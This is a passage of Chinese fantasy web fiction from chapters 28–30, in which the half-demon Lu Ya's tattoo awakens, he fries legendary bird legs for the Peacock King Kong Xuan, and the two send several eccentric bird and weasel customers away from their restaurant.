从边海城飞回来,陆压眉眼也有些倦怠,他拎着衣服进了浴室。 面对镜子,他低下头拎着后领往前一扯,整件衣服顿时无比听话地挂在了胳膊上。 他脑袋一偏,晃了晃遮眼睛都碎发,突然动作顿住,视线透过镜子落在脖子上。 陆压歪过脑袋,透过镜子清晰地看到,一条明显的枝条爬过肩膀,隐隐约约往胸前回绕。 他转过身,背后干枯笔直的树枝纹身不知在何时焕发出崭新的样貌。 诡异的纹理链接成绿叶点缀在枝条上,即将破茧的羽球被枝条托起高高地立于顶上。 陆压摸索过后颈,用手机拍出了大概的样子,一只墨色羽茧缠绕着鸟型火纹在脖颈处不断循环旋转。 只是盯着照片看了一会儿,陆压恍惚看见由三只鸟循环达成的圆圈在眼前不停旋转跳跃,火光在正中熊熊燃烧,顺着躯体将他整个点燃。 陆压骇了一跳,下意识松开手机,燃烧到身上的火焰瞬间消失,手机摔在地上屏幕火闪几下,变作一片漆黑。 浴室的镜子毫无征兆地裂开道道裂痕,一条一条诡谲的裂痕组合成怪异的图纹,哗啦啦破碎掉落。 瞬息,狂风骤起,大风一瞬间冲破浴室门。 在一片潮湿的雾气中,孔宣如神兵天降,一巴掌将门拍在墙上。 万千流风将他发丝吹散,他傲然挺立,豪气云天。 “谁!谁敢在孔雀大王面前造次!” 孔雀大王来了! 都给我死! 孔宣像是怕主人淹死在浴室里的着急猫猫,听到动静一个鲤鱼打挺,气势汹汹地就冲进来了。 长发飘扬的青年眉眼锐利,那双狭长的凤眸锐利如洗,点缀着璀璨青芒,眼尾微挑起犹如刀锋一般的弧度。 事情发生得太过突然,陆压下意识转头,正好看见自己的浴室门无辜惨死。 一人一妖对视一眼,孔宣把周围扫了一圈,懒洋洋地靠在门上。 “这下好了,镜子被你美死了,陆鸦鸦。” 孔宣抽笑几声,没憋住笑,笑得乐不可支,眉眼间具是笑意。 可不是嘛。 看陆压露着上半身,对镜子一照,连镜子都受不住这身漂亮肌肉,直接碎了一地。 孔宣脸上幸灾乐祸的看戏表情实在太过明显,陆压无语一瞬,一把将他捉进浴室,眼中似有暗火涌动,气势逼人。 可把幸灾乐祸的孔雀大王吓了一跳,连忙蹬腿挣扎,口中“诶诶”叫唤:“你干嘛呢陆鸦鸦,你自己弄碎的镜子,可不关我事!” 他必不可能认这一出! 他脸上虚张声势的小表情太过鲜明,哪有刚刚破门救驾的气势? 陆压好笑,捉着他一指歪歪斜倒的大门:“那我的门呢?这总是你干的吧?” 陆压难得露出这样似笑非笑的表情,一贯冷凝的眉眼松懈开,浓密的上挑睫毛颤抖着,挑眉时并非一味地调笑,反而是一种好笑、无奈的神色。 孔雀大王还真有点心虚。 他鼓了鼓腮帮子,被陆压摁在洗手台上,男人高挑的身材迫在眼前,如山一般拦在面前。 孔宣眼珠子郁闷地转了几圈,不情不愿地哼唧:“我给你修嘛。” “谁叫你发出那么大动静……”他小声嘀咕,视线又忍不住转回陆压身上。 陆压穿衣显瘦脱衣有肉,漂亮整齐的八块腹肌排列在腰腹上,深深的马甲线没进裤头,再一抬眼,那过于有力的胸肌似乎也触手可及。 孔宣的视线转了一圈,捂着鼻子一头栽倒在陆压胸前。 陆压:? “可恶!”孔宣痛骂。 不守男德的陆鸦鸦,光着身子在他面前晃! 孔宣气血上涌,薄薄的耳廓染上涩意,不自觉吞咽喉咙,完全被美色蛊惑了。 这可大事不妙! 孔宣面不改色地伸手摸上一直引诱他的胸肌,才摸上去,手下的胸肌似乎动了动,软软地陷进指缝里。 “……” 陆压一把抓住不老实的爪子,他低下头,阴影落在眼睫,眨动间真切地气笑了。 “摸哪呢?”他对着孔宣的腮帮子掐了一把,拉着手摸索到后颈。 孔宣目光茫然一瞬,在触及那片青色的刺青时,他眼眸收紧,无意识地踮起脚尖,近距离观测下,鼻尖暧/昧地蹭过青色经脉。 已经从后脊蔓延到肩膀的刺青张扬异化出截然不同的形态,孔宣沿着纹理抚摸,隐隐有暗色顺着他的指尖流过。 他瞳仁转动,耀眼的青芒在眼下浮现,怪异的妖纹似乎在他眼中活跃生动,袅袅立起狰狞的姿态。 “~” 孔宣面露趣味,饶有兴趣地弯起唇角。 “你在看这个啊。” 第28章 第28章油炸瞿如腿2 尖锐的…… 尖锐的指甲从皮肤刮过, 无声泛起瘙痒,轻飘飘地蹭过颈侧,顺着背脊飞云般往下滑过。 孔宣面上笑意不浅,眉梢向上挑起, 露出极为玩味的表情, 手指赫然收紧, 抓握般一把扣住陆压的脊骨。 陆压呼吸一紧,背脊紧绷, 能清晰地感受到指甲刮蹭过皮肤的触感。 凡是孔宣触碰过的地方,即便只是轻轻一带, 难以忍受的滚烫如烈火点燃,隐隐暗火从后脊坠入尾椎,刺得他肩胛发疼,细细密密的刺痛几乎从骨缝钻出。 陆压难以忍受地躬下背脊,他将额头抵着孔宣的肩膀, 被突如其来的暗火烧得肌肉紧绷,如一只被唤醒的野兽, 无声绷出危险的模样。 “跟你说个常识吧陆鸦鸦, 非人身上的妖纹就跟老树的树纹一样,它会随着身体的状态生长、焕新。” 孔宣随手将洗手台上的碎玻璃扫落, 他倚坐其上, 指骨在男人凸起的脊骨上敲击几下。 在这个动作间,指尖顺着妖纹的枝条摸索到陆压的肩膀, 他歪过脑袋,在陆压耳边私语: “现在的灵气确实不足以令半妖进行二次觉醒,可一只原初神兽死后馈赠的灵气……” 孔宣闷笑一声,鼻尖轻轻蹭过陆压后颈处的羽茧纹身。 翅膀化作的羽茧包裹着飞鸟, 被烈火包裹高高地悬挂枝头,预示着浴火重生的未来。 “恭喜。” 孔宣环抱住男人的肩膀,嗓音轻漫,带着十足的兴味:“你要比多数的人类都活得久了。” 他刻意点燃了陆压体内的灵气,那些无处安放、短暂安置的灵气如一团火焰,凶猛地循着陆压骨骼游走四肢百骸。 过于滚烫的热度几乎点燃了陆压的所有意志,他喉咙滚动,几近颤抖,泄愤般恨恨揉了一把孔宣的后脑。 大掌攥着微凉的长发,在逼孔宣仰头之前,过于高挑的身量轰然矮下,他低垂着头,面上红晕难消,意识混乱地将额头抵在孔宣手上。 碎发散落将阴影连同化不开的阴鸷一同在他脸上割裂,他低垂着眼睛,冷峻的眉眼凝着气势,似只短暂屈从的大型狼犬,紧绷的肌肉压抑着随时暴起的力量。 他半跪在孔宣面前,细密的绒羽不受控地覆满他的皮肤,一对细小的翅膀从他的耳处滋生,一根一根生长构造,化作怪异的耳羽往前回护住他的双眼。 男人抬起头,那张隽秀漂亮的脸布满了古怪的妖异。 乌黑的羽毛披覆着怪异的无色光泽,在不同的角度泛起诡异的色彩,足以令任何人产生极为扭曲凌乱的联想。 他早已脱离人类的范畴,如一只被转化的怪物,任由古怪的鸟类异形在他的血肉、皮肤生长根植。 孔宣任由他拉着自己的手贴上额头,过于虔诚与诡异的依附姿态,将一切都依托于孔宣的恩赐。 促成这一切的青年回手抚摸过男人的侧脸,他弯下腰,额头对着额头,在这一刻他真切地露出愉悦的表情。 将人类的执法杀神拉下神坛,同化成与他一样的异类,确实令他心生愉悦。 “陆鸦鸦,你真好看。”孔宣喟叹,亲昵地与陆压挨蹭在一起,发自内心地赞美:“你是一只漂亮小鸟。” 意识到陆压现在的姿态还不太完全,羽毛东一根西一根地滋生在皮肤上,是只乱糟糟的鸟人。 孔宣“唔”了一声,立马改口。 “你会是一只漂亮小鸟。” 现在还不是,不完全是。 鸦,你可以提前靠在孔雀大王宽阔的胸膛上! 孔宣嘴角疯狂上挑,稀罕地在陆压后颈处一通乱摸。 等体内的灵气被消耗一空,那些滋生的羽毛才一根一根褪去,长满喉管的尖刺收缩消失,陆压闷咳几声,从喉咙里咳出几根羽毛。 陆压眉眼郁郁,对于孔宣摸狗狗一样的手法不置一词:“我现在算什么?” 孔宣思考了一瞬:“半妖?” 察觉到陆压的茫然,孔宣连忙撸撸脑袋,不动声色地挺起胸膛。 “没关系没关系,我会帮你的啦,相信我。” 孔宣傲气地拍了拍胸脯,眉眼俱是自信,神采飞扬地朝陆压扬了扬眉,重重指了指自己,俏皮地比划出一个没问题的手势。 一切交给孔雀大王,通通没有问题! 孔宣朝陆压眨了眨眼,俏皮活泼的表情让人看着就想笑。 陆压忍不住被逗笑了,他站起身,过高的身量杵在眼前,跟一堵墙一样,完美遮挡了头顶落下的光影。 阴影从他身侧泄出,他歪过脑袋,低头与孔宣额头抵着额头,真切地看见了孔宣眼中泛起的青色光辉。 孔宣的瞳孔与人类的看起来并无不同,只是轮廓泛青,暗色的羽丝一圈一圈缠绕,中心往四周裂开条条妖异。 ——这一切或许只是伪装。 孔宣歪过头,白皙细嫩的脸上满是无辜狡黠。 陆压掐了他的下颚一把,忍不住低声说:“大王,我要怎么做?” 异化已经开始,他已经没有退缩的空间,只有加速化妖的过程。 他并不逃避这件事。 这个问题,孔宣真切地思考了一会。 他思考着,手指点了点下巴:“大概是想吃什么吃什么。” “就跟人类有的时候会很想吃某种东西,其实是身体的保护机制,越缺少某种物质就会越渴望得到补充,相信你的本能。” 孔宣手指比划着,他眼睛微微弯起,发顶毛茸茸的碎发欢快翘起,随着他摇头摆脑的动作碎发摇晃。 眼前的神采太过绚丽夺目,陆压盯着他的眉眼看了几息,忍不住捻了捻他的下巴,低声说:“我想吃你呢?大王。” 孔宣赫然睁大眼睛,怒而控诉:“大胆!” “我让你多吃不是吃我!居然敢打我的主意,小心我左勾拳、右勾拳把你打得满脸桃花开!” 气呼呼的孔雀大王挥舞着拳头,打醉拳似的手臂在空中挥舞成一个半圈,张牙舞爪地摆出架势。 一看就很凶。 孔雀是这种靠张开翅膀恐吓同类的鸟类吗? 被“凶”到的陆压眼神偏移,无法否认自己被萌到了,只能缴械投降:“……我错了大王。” 孔宣取得胜利,顿时得意地哼哼两声,高兴了。 为自己的大胆冒犯道歉,陆压把孔宣连哄带骗拐出浴室,他躬着身,将地上的碎玻璃挨个收拾。 绷紧的肌肉躬下身时,将线条绷出漂亮的弧度,他肩宽窄腰,满身的强势远不是器材能锻炼出来的,绷紧的力量感皆是风雨洗礼而成。 偏偏躬着身,将脆弱细小的碎片捡拾,一举一动颇有条理。 将碎玻璃收拾完,陆压淋了个澡湿淋淋地走出来,头发上还挂着水,擦在毛巾上擦出一片痕迹。 孔宣歪在躺椅上,大爷般朝他伸手。 陆压略思索后,伸手将他拉了起来。 孔雀大王从躺椅上冉冉升起,把手一摆,傲气指使:“陆鸦鸦,快去炸鸟腿,我要吃。” 装模作样地趾高气扬才装了没两秒,陆压站在原地不动,孔宣就绷不住了,连声催促:“炸鸡腿炸鸡腿!” “你说要给我炸鸡腿!” 一叠声的催促,就差没有在地上滚一滚耍赖了。 陆压的表情藏在毛巾底下,忍不住闷笑一声:“好,就去炸。” “吃椒盐的还是酸梅的?” 孔宣跟在他身后,脚尖跟着脚跟,亦步亦趋地跟着往下走,从边上探出个脑袋,巴巴应声:“椒盐,爆辣!” 爱吃辣的孔雀大王舔舔嘴巴,仿佛已经品尝到爆辣的滋味了,没忍住抖抖肩膀,呲溜咽了咽口水。 被他们带回来的瞿如丢弃在后院,陆压上楼之前还特意拿了个框子把它罩住。 现在一打开框子,被捆在黑色塑料袋里的瞿如感受到动静,立刻像开机般扑腾着跳脚,嘴巴里不干不净地连声叫骂。 “瞿如瞿如!” 等陆压把刀往它面前一翻,这只白头瞿如瞬间露出惊恐的表情,把脑袋往后摆动,怂唧唧地哼唧。 或许是知道自己要死了,瞿如瑟瑟发抖,脑袋转转这边转转那边,选择对陆压身后的孔宣露出一个可怜的表情。 孔宣弯唇一笑,在瞿如期待的目光中按住了陆压的手。 “我来。” 这轻飘飘两个字,瞿如顿时“嘎”的一声,两眼一翻背过气去,脑袋掉在地上。 也不用按菜板了,陆压手起刀落,干净利落地把脑袋和脚剁了。 这类厨余垃圾,他提着转了一圈,在桃树下埋了个坑埋进去了。 孔宣扦插的那支树枝就在旁边,陆压抬起头的一瞬间,那支枝桠无风自动,款摆着叶子,似乎在与他打招呼。 与妖怪打交道多年的经历令陆压眼睛一定,面色莫测的盯着这支枝桠几秒。 “喂?陆鸦鸦——”孔宣站在屋檐下叫他。 陆压眼睛转动,缓缓挪到孔宣身上,他眸色莫测,落在孔宣身上。 孔宣拢着袖子,不乐意碰地上血淋淋的鸟肉,打着哈欠等陆压过来收拾。 陆压走过去时,冷不丁说:“我们家妖怪还挺多。” 大妖怪带一枝小妖怪,算陪嫁妖吧? 第29章 第29章油炸瞿如腿3 剁好的…… 剁好的三足瞿如一共出了三只鸟腿两只鸟翅, 剩下两边身子陆压剁成一块一块,一起放进碗里腌制。 他从厨房里找来一些牙签,将肉扎一扎方便之后腌制入味。 再加上两勺盐,一勺白糖提鲜, 三勺辣椒面, 再加五个姜片去腥, 一把洋葱、一勺番茄酱,用蒜调味, 加入柠檬汁和食用油,就这样腌制三小时。 这期间孔宣踮着脚在陆压身后探头探脑, 拿着手机猛猛拍了几张,捣鼓着手机不知道在干什么。 陆压凑过去看了一眼,孔宣大大咧咧任由他看。 只见手机上是一个熟悉的聊天软件界面,孔宣不知道哪里来的号,把照片往群名是“相亲相爱一家鸟”的群里一发, 嘚嘚瑟瑟地要求群里帮他宣传。 群里一连串的“炫我嘴里”比划得特别整齐。 孔雀大王无师自通,学会了发小鸟表情包。 现代科技对于孔雀大王的影响居然有这么大吗? 陆压思考两秒, 还是忍不住问:“大王, 你哪里来的群?” 这手机还是陆压的备用机,里面几个小号连好友都没有, 哪来的群?别不是什么诈骗群吧? “相亲相爱一家鸟”这个名字也很可疑。 陆压心中思忖, 回想起了现代社会妖族被诈骗的二三事。 孔宣眉梢一挑,灵动的神采如烈阳明媚, 瞳眸清纯至极,唯独熟练的打字速度全然不似初入人间的妖。 他一边在群里哒哒哒插科打诨,一边倚靠在柜台边朝陆压露出一个狡黠的笑。 “当然是——”他拉长语调,手指飞速动颤。 陆压手机赫然发出响动, 接到孔宣的示意,拿出手机一看,自己的账号被人拉进一个群。 “相亲相爱一家鸟” “——我们神鸟的家族群啦!” 孔宣迟迟回答,干脆利落地拉人动作比他怎么加进这个群还值得探讨。 “现在你也进来了。” 陆压:。 这么理直气壮,这种群他进去真的没问题吗? 陆压迟疑过后,妖管局带的潜藏习惯让他果断换了平平无奇的头像与名称,安心在里面潜水。 他手指点了几下,眼睛迅速扫过里面的群友名单,好几只在妖管局里神龙见首不见尾的老妖怪在群里和孔宣一起水群。 陆压截了几张名单,抬头一脸老实本分地问孔宣:“我在里面没关系吗?” 问是要问的,群也是不退的。 “待着呗。”孔宣眉飞色舞,一点都没有拉外人进小群的局促与心虚感,说得理直气壮:“等你血脉二次觉醒完,你也是小鸟了,我们鸟都要进家族群的。” 陆鸦鸦是一只漂亮小鸟! 一想到这个,孔宣嘴角一挑,暗喜的得意怎么遮也遮不住。 孔宣刚在群里炫耀完自己即将吃上的极品美味,引得众鸟羡慕声讨,一抬头,见陆压两手空空地杵在眼前,顿时眉头一竖,凶巴巴地揣手问:“我的炸鸟腿呢!” 他变脸极快,前面还暗爽,现在又虚张声势地发脾气了。 陆压不免好笑,看着他鼓起的腮帮子忍不住手痒:“腌着呢,不腌入味等下不好吃可怎么办啊大王。” 口中逗弄孔宣,陆压也没忘了继续手中的动作,用剩下的柠檬加蜂蜜做出柠檬水。 略酸的柠檬与蜂蜜混合,陆压还加了一点紫苏汁,让水从透明过渡成渐变紫。 孔宣端起抿了一口,顿时又高兴了起来。 他唇间透红,湿盈盈地沾着水珠,偏生皮肤赛雪冷白,极致的白点缀上湿红,更显得颜色秾丽漂亮,唇间一抿似花色绽放,配上翘起的唇角越加勾人至极。 陆压看他喜欢,抬手往他杯子里加了几块冰块,尝起来更加清爽可口。 做完这一切,陆压估算着时间,将盖在肉上的保鲜膜掀开。 他热了油锅,金黄色的底油在锅中滋滋翻滚,就趁温度合适把鸟腿和翅膀裹上鸡蛋液和面粉往下投入,热油一炸,金黄色的油花瞬间在表皮炸开。 热度升起,厨房内热气翻滚,唯独孔宣抱着冰水在旁边十分舒爽地吸溜柠檬水。 他吸溜几口,摸索杯壁的手指被冻得通红,不怕热得踮起脚往锅里看,眼里的兴味遮都遮不住,早已是迫不及待了。 孔宣在旁边急哄哄地要吃,陆压不为所动,数着时间用漏勺将鸟腿带起,在空中抖了抖,沥出多余的热油。 热气腾腾的金黄鸟腿兜进大盆里,孔宣探过头,趁陆压去捞翅膀的空隙伸手去捻。 “啪”陆压跟背后长了眼睛似的,随手抽过旁边的筷子作势要敲他的手,孔宣把手一缩,眼睛不可置信地瞪得滚圆,满脸写满了控诉。 鸦,坏!!! 孔宣目光控诉,不服气的扁扁嘴巴,把脑袋一扭,哼着气表示自己的不屑一顾。 然而馋嘴的小眼神,还是止不住地想往盆里钻。 陆压看着就想笑,他面上不动声色,手上动作却加快几分,把肉上的油沥干净倒扣进盆里,撒上兑了辣椒面的孜然粉。 一叠炸物新鲜出锅。 顿时犹如金光普照,美食的光辉照耀整间厨房,那金黄的表层酥脆掉渣,被孜然与辣椒面的色彩点缀,直叫人双眼发直,口齿生津。 孔宣忍不住伸手,在就要碰到的一瞬间,他突然醒悟,抓紧时间咔咔拍了几张照片,争分夺秒地发到群里。 :!!!可恶,不要诱惑我啊!再诱惑我,我就飞你家去! :是我们的好朋友,美味咕咕! :小陆炸的?别说,他上次炒的那个藕尖真的绝了,比美食家饕餮还会做菜/赞/赞/赞 :饕餮?那家伙做菜太不挑了,哒咩 :还可以吧,他做的那个九转大肠很有味道 :呃啊—— …… 手机叮叮当当响,孔宣早已美美地抓着炸鸟腿咬上一口。 牙齿收拢间,极为清脆的“咔嚓”声酥脆响起,咬破外面的外皮,内里嫩滑的鸟肉泛着金黄的汁水,咀嚼时毫不费力,表皮的酥脆和内里的嫩滑交融在一起,像是有两种美味在口腔中打架。 孔宣一口下去,只感觉味蕾升华,忍不住贪心地一吃再吃,吃上两口三口……吃得根本停不下来! 他情不自禁地眯起眼睛,露出极为幸福的表情,不忘了跟陆压分享这个美味,竖起大拇指狠狠比划了个超赞的手势。 “唔唔!”绝了! 孔宣嗦着鸟骨头,腮帮子咀嚼,尖利的牙齿把骨头嚼出脆响。 他眉眼弯弯,咀嚼鸟肉的同时,不忘了催促陆压尝尝。 陆压盯着送到面前的大盆,他看了眼孔宣,孔宣脸上的期待不是作假,是真的很好吃。 他也忍不住捡一根鸟腿尝尝,鸟肉入嘴的时刻,仿佛有无数金花在眼前绽开,酥脆的表皮下,嫩肉直白地接触味蕾,更是一场味觉盛宴。 “……为什么会这么好吃?” 简直比普通炸鸡腿还要好吃! 陆压和孔宣排排靠在橱柜边,一人一根炸鸟腿,一边吃一边想。 思考无果,两人又美美享用起了好吃的炸瞿如。 “那个……有人在吗?”突然,一个犹犹豫豫的声音响起。 “有人。”陆压撩开帘子走出去。 他从厨房走出去,初次当妖,脖颈间的妖纹还没藏匿,露出来一角。 原本外面问话的青年本就比他矮半个头,看到他叼着鸟骨头面无表情地出来,身上的妖纹鲜明可怖,直把犹犹豫豫进门的青年吓得半死。 急急忙忙说:“对不起,我走错了!我这就走!” 然而才转身,突然肩膀一重,青年瞳孔地震,惊悚地移动眼睛看向身侧。 孔宣啃着鸟翅膀从他身后移动出现,锐利的丹凤眼将人从上到下打量个遍,甚至伸手撩起他半遮着脸的长发。 “比翼鸟?谁介绍你来的?” 被点破身份,这只比翼鸟一脸悲愤,仿佛要英勇就义,哆哆嗦嗦地闭上眼睛。 被人按到凳子上坐下,好半天疼痛感没有袭来,他哆哆嗦嗦睁开眼,对面是一张张扬肆意的盛世美颜,正玩味地打量他。 那么近的距离,剧烈的美颜冲击令比翼鸟呼吸一窒,不知道哪来的勇气,突然站起身大喊:“你好,请跟我交往吧!” 正在撩头发的孔宣:??? 陆压无声站直身体,将手按在孔宣肩膀,突然危险起来的眼神将胆小的比翼鸟刺得遍体鳞伤。 刚鼓起勇气地比翼鸟又哆哆嗦嗦地坐了回去,默默垂下了头。 “我、我什么都没说……” 怂.jpg “所以,你是青鸾介绍过来的?” 了解了事情经过后,孔宣抱着手臂,像是黑涩会大佬般嚣张架起腿,露出极为玩味的表情。 高大的男人身形笔直,无声站在他的身后,冷峻锐利的眉眼死死盯在比翼鸟的身上,像是只忠心护主的恶犬。 没有冰冷的衣装线条修饰他的狠厉,但暗藏在平静外表下的气势依旧令比翼鸟心惊肉跳。 这只胆小的、不够漂亮的比翼鸟像是被捕捉的猎物,在两位大佬的注视下瑟瑟发抖。 很艰难地点了点头:“对、对……青鸾大人说,只要有钱,你们什么事都可以办到。” 胆小的比翼鸟说着说着突然有了点勇气,他穿着宽大的西装,西装底下是很刻板的格子衫,戴着宽大的眼镜,已经精心打扮过了,依旧遮不住的宅男与程序员的气场。 他抿唇一笑,笑得腼腆无害:“我想要一只比翼鸟。” “虽然这么说也没问题啦。”孔宣咀嚼着鸟骨头,吐出被嚼得七零八落的骸骨,歪过脑袋,用挑剔的目光检索过比翼鸟全身。 比翼鸟感受到注视,立刻绷紧身躯,紧张地与孔宣对视。 不到两秒,他怂怂地低下了头。 孔宣撑着下巴颇为无聊:“我们这是餐厅诶,小鸟,没办法帮你找另一只比翼鸟相亲。” 陆压无声给予孔宣注视,目光幽幽。 怎么随便来一只鸟,你都叫他小鸟? 原型是比翼鸟成精的青年腼腆一笑:“我的意思是,我想要一只比翼鸟,不成精也可以的。” 孔宣:??? “不成精你要它干什么……你还同族相食?” 孔宣像是听到了什么脏东西,下意识地后仰,一头撞到陆压怀里,脸上的震惊遮也遮不住。 孔宣真的快被同类相食吓晕了,他这辈子啃过鹰吃过鹤,从来没想过要吃孔雀! 未成精的也不吃! 他呆呆地张着嘴巴,仰头看看陆压再看看对面这只比翼鸟。 准确地来说这是一只蛮蛮,在很久很久以前,比翼鸟又称作蛮蛮,它们是同远古生灵一同诞生的种族,生来残缺,只有雌雄两只蛮蛮结合在一起比翼双飞,才能获得圆满。 终其一生,蛮蛮都在追寻这样的圆满。 可随着时间褪去,蛮蛮的族群数量日渐缩小,到灵气衰竭时代,寂寞的比翼鸟已经很久很久没有见过自己的同族了。 圆满,圆满……他终其一生不得圆满。 “你是想养一只童养媳,等待对方成精?”陆压言语犀利,给出不同答案的同时,一手按住孔宣的肩膀,默默给予支撑。 孔宣终于支棱起来,对这个答案表示满意,一脸笃定地点头。 腼腆的雄性比翼鸟含蓄地推了推眼镜,他气势长得不错,去掉眼镜之后称得上隽秀好看,稍稍打扮一下也算是初恋级别的耐看。 只是说话就有点不含蓄了:“哎,其实我现在更喜欢颜色漂亮的雄鸟了,对灰羽毛的同族不感兴趣。主要我是想要一只,然后[哗——]、[哗——]……毕竟我也算是家族最后一只比翼鸟了,总得繁衍后代的吧?” “要是先生你愿意,我们也不是不可以度过愉快的一天……” 雄性比翼鸟摘下眼镜,他弯起唇角,对着孔宣露出一个漂亮含蓄又风尘魅惑的勾引表情。 这下不止孔宣气到爆炸,疯狂骂脏话:“我[哗——]干傻子是犯法的[哗——][哗——]……” 陆压更是沉了表情,完美表演扔垃圾需要几步。 拎起、出门、丢一气呵成。 将比翼鸟精扫地出门,陆压拍拍手,再倒回来时,孔宣已经拿起手机在群里疯狂问候青鸾全家。 他舌战群儒,怼着青鸾骂了一通,末了骂爽了,撩撩头发,脸上又露出了自信的笑容。 “相信我,下一次绝对不会有这种垃圾,相信我的人脉!” 相信着迷于#嫁给小叔子后我的死鬼前夫哥爬回来发现我和公爹睡一起了#这种热帖的八卦鸟脉吗? 陆压一时表情复杂,甚至有一种“这餐厅是非开不可吗”的疑问。 他摸摸孔雀大王的头发,顺着发丝按住肩膀。 陆压低下头,低沉的嗓音格外沙哑性感,近在咫尺的眉骨淹没进深刻的阴影中,越发显得他深沉危险。 “不一定要这么辛苦。” 他眸色深沉专注,低沉的嗓音透着安抚的意味,越发动人心弦。 孔宣神色微动:“你放心。” 孔雀大王办事,绝对没问题! 孔雀大王没有一秒为遇到垃圾而意志消沉,很快又焕发活力,叽叽喳喳地表示下一单生意马上就要到来。 陆压神情复杂,最终选择将挂在门口的牌子翻到“欢迎光临”那一面,试图蹲蹲野生人类客户。 到了吃饭的点,陆压在厨房忙活,孔宣拿着遥控器在前厅按台,嘴里还叼着一根棒棒糖,白软的腮帮子鼓起一边,他百无聊赖。 有人推门而入,他歪过脑袋,眼睛转动着落在来者的身上,眸光潋滟绮丽。 苍茫落日下,来人是一只青红羽毛的鸾鸟,穿着非常嘻哈的红色服装,造型十分潮流。 “哈啰,请问明王殿下在吗?” 孔宣被潮得一个激灵,他战术性后仰,目露警惕:“青鸾介绍的?” 鸾鸟摆摆手:“不是不是,我是九凤大人介绍的。” “这是我的名片。” 他把一张名片递到孔宣手上,孔宣脸上戒备不减,捻着指尖拎过扫了一眼:“马戏演员?” “是的——嘿哈!”鸾鸟拖长语调,突然蹦跳到孔宣面前,矮身做了一个潇洒自如的街舞姿势,末了一撩头发,比了个帅气的示意动作。 鸾鸟眼睛轻眨,似乎暗送秋波。 孔宣并没有理解,并且一脸魔幻地开始摇人:“陆鸦鸦!陆鸦鸦!” 他拿着遥控器敲桌子,陆压端着一盘火腿炒玉米出来,他腰上还围着围裙掐出有力的蜂腰,非常的居家型男。 居家型男先低头问孔宣怎么了。 孔宣指了指那只鸾鸟,鸾鸟不知道接收到了怎么样的信号,立刻整整衣领,就要给陆压表示一段。 陆压:“请问你是干什么工作的?” “很明显,舞蹈演员!”鸾鸟立刻要表演给他看,手上打了两个响指,当成就要舞起来了。 陆压面不改色:“不好意思,我们没有雇用舞蹈演员表演的打算。” “我也不是来找工作的!”鸾鸟也顾不上表演了,急急忙忙地开口。 他腼腆一笑,露出熟悉的三分不好意思三分期待三分暗暗藏不住的窃喜与一分理直气壮,用缤纷多彩的腼腆表情含蓄表示: “我想要一盘瑶草。” 巫山上的瑶草,可以让人变得惹人怜爱欢喜,是成为万人迷的必备道具之一。 终于到了要点菜的环节了,孔宣非常感兴趣地探过头:“哦?你是要生吃还是炒熟?你愿意花多少钱呢?” “最重要的是,你要的瑶草是要吃的吧?不是搞什么乱七八糟的东西对吧?” 孔宣的语气逐渐兴奋起来,鸾鸟也慢慢变得情绪高昂。 “当然当然!”他连连点头,高声宣布:“我要吃好多好多的瑶草,变成最受欢迎的演员,然后赚好多好多钱!” “然后呢?”孔宣感觉不太妙了。 鸾鸟兴奋地说:“当然是囚禁一群人类,让他们日夜不停地听我唱歌,赞美我美丽的羽毛,并且不眠不休地为我收集最干净的晨露、最好的竹米……” 孔宣无情摆手:“拎出去。” 陆压接收指令,一把拎起陷入幻想的鸾鸟,毫不留情地推出门外扫地出门。 鸾鸟疯狂扭头试图挣扎:“殿下!殿下!我只是想囚禁一群人类而已,我还会给他们钱!殿下,我不是坏鸟!我是良民啊殿下——” 不停哀叫的鸾鸟被推出门。 陆压这一次彻底把牌子收走了,并且狠狠关上了门。 他回过头,已老实的孔宣装模作样地抽出筷子,试图用吃饭来躲避陆压的质问。 陆压大步向前,失去自信的孔雀大王愧疚低头,恹恹的表情不再快乐,连俏皮翘起的碎发都弱弱垂下。 最终,男人举起的手轻轻落在了孔雀大王的头顶,动作轻柔地顺了顺:“没事的大王。” “锅里炖的啤酒鸭吃不吃?” 孔宣情绪低落不到两秒,听到有啤酒鸭,瞬间振奋起来:“吃!” 他双眼晶亮,亮晶晶地望着陆压,甚至等不到陆压端锅,他先颠颠地跟去了厨房。 陆压把锅盖子一掀,浓烈的炖鸭香味扑面而来,那股料汁炖肉的香味霸道至极,萦绕在鼻尖,把孔宣香迷糊了。 等陆压拿筷子夹起一块肉送到他的嘴边,他抽了抽鼻子,霸道地按住陆压的手,探头直接咬住。 炖烂的啤酒鸭香软嫩滑,细腻的肌理撕开,每一寸肉都吸满了汤汁,不费任何力气的咀嚼,顿时口齿留香。 孔宣眼睛一亮,捂着嘴巴看看陆压看看锅子,一边咀嚼一边迫不及待表现自己的欢喜,“嗯嗯”地胡乱点头。 他喜欢,陆压脸上露出一丝笑意:“那大王先端菜出去,我炒个青菜就开饭。” 炖好的啤酒鸭出锅,热气腾腾地装进盆里,等着孔宣端出去。 孔宣一点没觉得自己被使唤,乐颠颠地把菜一端,整个过程中被香味萦绕,还是忍不住抽了抽鼻子,露出一脸幸福。 这种等饭吃的感觉,太美好了! 孔宣脚步轻快,放下碗的一瞬间听到有人进来,他心情简单地下意识抬头,脸上的笑容逐渐消失。 陆压也从厨房探出头。 这一瞬间,他们的脑子里只有一个想法:今天不正常的鸟怎么这么多! 孔宣迟迟没看到人进来,他视线偏移,对上了摇晃着尾巴走进来的长条黄鼠狼。 黄鼠狼站直身体,晃动着胡子问:“你看我像什么?” 第30章 第30章桃胶炖玉膏 “你看我…… “你看我像不像人?” 黄鼠狼脸上黑乎乎一片, 毛发凌乱地染着墨色,像是从煤道里挖煤跑出来的,装模作样地用小爪子捋了捋脸上的毛,摇晃着尖耳朵, 露出一脸狡黠。 讨封讨到孔雀大王面前来了, 孔宣抱着臂, 好整以暇地盯着它。 他面上玩味,眼睛一转恶劣地咧开嘴角, 正要戏弄戏弄这只大胆的黄皮子。 陆压按住他的肩膀,探头过来与孔宣咬耳朵:“这种讨封容易沾因果, 我来。” 他语气淡淡,低眸看向黄鼠狼时,卷翘的长睫低垂着,散落下冷冽的阴影。 黄鼠狼突然警惕:“你不是什么二次元吧?” “或者是什么异想天开想要个漂亮老婆的那种绝世大寡男?” “又或者是什么穷疯了不想努力的大梦想家?” 陆压:…… 孔宣:??? 这么有经历,你干什么工作的? 陆压面色冷凝, 公事公办的掏手机在黄鼠狼面前刷过:“你好,清扫组, 你的讨封申请、成仙申请、妖管局身份证出示一下。” 黄鼠狼大惊失色:! 陆压眼眸一眯:“非法讨封?” “这么熟练, 讨了几次封?身份证办了吗?申请打了几次?” 致命提问追着黄鼠狼跑,像是一支一支的利箭, 噗噗直戳它的心口。 “你、你……” 